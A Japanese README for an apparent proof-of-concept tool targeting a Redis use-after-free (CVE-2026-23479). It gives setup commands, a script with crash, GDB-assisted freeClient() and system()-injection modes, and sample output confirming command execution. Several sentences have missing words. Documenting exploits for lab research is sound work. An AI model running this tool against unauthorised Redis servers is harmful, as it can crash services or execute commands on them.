
GDB支援によるエクスプロイトを用いた概念実証(教育・ラボ用途のみ)
Redis の
unblockClientOnKey()における Use‑After‑Free によるリモートコード実行
GDB 支援による悪用の概念実証(教育目的・ラボ利用のみ)
CVE-2026-23479 は、Redis 7.2.0 から 8.6.2 に存在する深刻な Use‑After‑Free(UAF、解放後使用) 脆弱性です。
このバグは unblockClientOnKey() にあり、この関数は processCommandAndResetClient() を呼び出します。
その呼び出し中に(例: eviction により)クライアントが解放された場合、呼び出し元はダングリングポインタに対して処理を続行するため、 が発生します。
解放後にヒープを操作できる攻撃者は、を達成できる可能性があります。
このリポジトリは、以下を実現する GDB 支援型 PoC を提供します:
freeClient() の呼び出し)を発生させて UAF を証明しますsystem() 呼び出しを注入することで任意のコマンド実行を実証します⚠️ 重要: これは武器化された exploit ではありません。特権 Docker コンテナ内の GDB を使用して、実際の攻撃者が UAF の悪用に成功した後に達成し得ることをシミュレートします。
使用は自分のラボ、または明示的なテスト許可を得たシステムのみに限定してください。
crash、gdb、rce、full--container で任意のコンテナを指定できますXREAD BLOCK コマンドで、クライアントをストリームデータ待ちの状態にします。pid 1)にアタッチします。processCommandAndResetClient にブレークポイントを設定 – これは、ブロックされたクライアントが再処理されるときに呼び出される関数です。XADD が被害クライアントを起床させます。gdb モード: freeClient($rdi) を呼び出し → 意図的に SIGSEGV を発生させ → UAF を証明します。rce モード: system("your command") を呼び出し → Redis ユーザー(デフォルトでは root)として任意のシェルコマンドを実行します。ブレークポイントは、ブロックされたクライアントがアンブロックされるたびに発火し、UAF を含む同じコードパスがコード実行も可能にすることを示しています。
| ブランチ | 影響を受ける範囲 |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
スクリプトは Redis のバージョンを自動的に解析し、脆弱かどうかを報告します。
apt を使用する Redis 8.6.2 Docker イメージ(例: 公式の redis:8.6.2)--privileged 付きで作成されている必要があります(ptrace に必要)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| モード | 説明 |
|---|---|
crash | メモリ負荷によって UAF のトリガーを試みます(GDB 不要)。Redis はクラッシュする場合がありますが、保証はされません。 |
gdb | GDB をアタッチし、ブレークポイントで freeClient() を呼び出します → SIGSEGV を強制します(UAF を証明)。 |
rce | GDB をアタッチし、ブレークポイントで system(cmd) を呼び出します → コンテナ内でシェルコマンドを実行します。 |
full | 最初に crash を実行し、Redis がクラッシュしない場合は gdb にフォールバックします。 |
| 引数 | デフォルト | 説明 |
|---|---|---|
target | (必須) | Redis サーバーの IP アドレス |
-p, --port | 6379 | Redis のポート |
-m, --mode | full | crash、gdb、rce、full のいずれか |
--container | env-redis-vuln-1 | Docker コンテナ名 |
--cmd | id > /tmp/pwned_by_cve | rce モードで実行するコマンド |
注: すべてのコマンドはホストマシンから実行します。Docker コンテナの内部ではありません。
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis はセグメンテーションフォールト後にクラッシュします。
コンテナを再起動します:
docker start redis-vuln-local
クリーンな状態にするため Redis を再起動します:
docker restart redis-vuln-local
exploit を実行します:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
証明ファイルを確認します:
docker exec redis-vuln-local ls -l /tmp/pwned
成功した場合、ファイルが存在し、以下が証明されます:
system("touch /tmp/pwned");
このコマンドが Redis コンテナ内で実行されたことです。
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Redis が予期せず終了した場合(コンテナが実行されなくなった場合)、UAF がトリガーされた可能性が高いです。
次のコマンドで再起動します:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
このモードは:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
元の PoC は env-redis-vuln-1 という名前のコンテナにハードコードされており、新しい Python バージョンで実行すると複数の問題が発生しました。
更新版では以下の改善が導入されています:
| 問題点 | 修正内容 |
|---|---|
| コンテナ名がハードコードされていた | --container 引数を追加し、すべての関数に伝播させました。 |
GDB スクリプトの commands ブロック内に file コマンドが配置されていた | file /usr/local/bin/redis-server を attach の前に移動し、GDB が正しくシンボルを読み込めるようにしました。 |
subprocess.run() で capture_output=True と stderr=... を同時に使用していた | stdout=subprocess.DEVNULL と stderr=subprocess.DEVNULL に置き換えました。 |
古い GDB プロセスが ptrace: Operation not permitted を引き起こしていた | trigger_uaf_gdb() と trigger_rce() の両方で、GDB 起動前に pkill -9 gdb を追加しました。 |
| GDB がサイレントに失敗してもフィードバックがなかった | GDB 出力のデバッグログを追加し、証明ファイルの検出を改善しました。 |
docker stop redis-vuln-local
docker rm redis-vuln-local
このツールは教育目的、許可を得たセキュリティ研究、および自分が所有する、または明示的なテスト許可を得たシステムのテストのみを意図しています。
作者は、不正または悪意のある使用を容認または推奨しません。
本番環境や第三者システムをテストする前に、必ず適切な許可を取得してください。
セキュリティコミュニティのために ❤️ を込めて作られました。
倫理を守り、安全を保ちましょう。